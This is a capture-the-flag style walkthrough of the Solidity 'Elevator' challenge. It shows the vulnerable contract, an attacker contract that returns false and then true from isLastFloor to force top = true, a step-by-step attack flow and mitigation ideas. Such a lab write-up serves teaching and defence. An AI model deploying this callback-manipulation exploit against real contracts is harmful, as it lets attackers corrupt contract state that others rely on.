Skip to main content

Elevator — “Fool the Lift”


Description

This elevator won’t let you reach the top floor… unless you can trick it.

The Elevator contract relies on an external Building to tell it whether a floor is the last one. It asks twice and assumes the answer won’t change. Your goal is to exploit that assumption so the elevator sets top = true.

Things that might help:

  • Sometimes Solidity is not good at keeping promises.
  • This Elevator expects to be used from a Building.

Code

Below is the code the player receives.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

What to notice

  • Elevator.goTo trusts the caller (msg.sender) to implement Building.

  • It calls isLastFloor twice:

    1. First to decide whether to enter the if.
    2. Second to set top.
  • If those two answers differ (first false, then true), top becomes true.


Goal

  • Set Elevator.top() to true.

Attacker Contract (Solution)

We’ll implement Building in a malicious contract that flips its answer between calls.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

contract Attack is Building {
Elevator public target;
bool private toggle;

constructor(address _elevator) {
target = Elevator(_elevator);
toggle = true; // we'll flip this on each call
}

function attack(uint256 _floor) public {
// We call the victim; inside it will call back to our isLastFloor twice
target.goTo(_floor);
}

// The trick: return false the first time, true the second time.
function isLastFloor(uint256) external override returns (bool) {
toggle = !toggle;
return toggle;
}
}

Step-by-Step Attack Flow

  1. Deploy Elevator. Keep its address handy (e.g., 0x...Elevator).

  2. Deploy Attack with the Elevator address in the constructor.

  3. Trigger the exploit: call Attack.attack(42) (any floor number works).

  4. Call sequence under the hood:

    • Attack.attackElevator.goTo(42)

    • Inside goTo, Elevator treats msg.sender as Building → calls Attack.isLastFloor(42)

      • First call: toggle flips from truefalse; returns false
      • if (!false) is true, so it enters the block and sets floor = 42
    • Then Elevator calls Attack.isLastFloor(42) again

      • Second call: toggle flips from falsetrue; returns true
      • top = true
  5. Check success: Elevator.top() now returns true.


Why This Works (in simple terms)

The victim contract assumes an external function will give the same answer each time. But external calls are untrusted and can depend on mutable state. By returning a different value on the second call, we steer the elevator into setting top = true.


Mitigation Ideas

  • Call isLastFloor once, store the result, and reuse it:

    bool last = building.isLastFloor(_floor);
    if (!last) {
    floor = _floor;
    top = last; // still false
    }
  • Avoid relying on untrusted external contracts for security-critical checks.

  • Prefer internal invariants or whitelisting trusted Building implementations.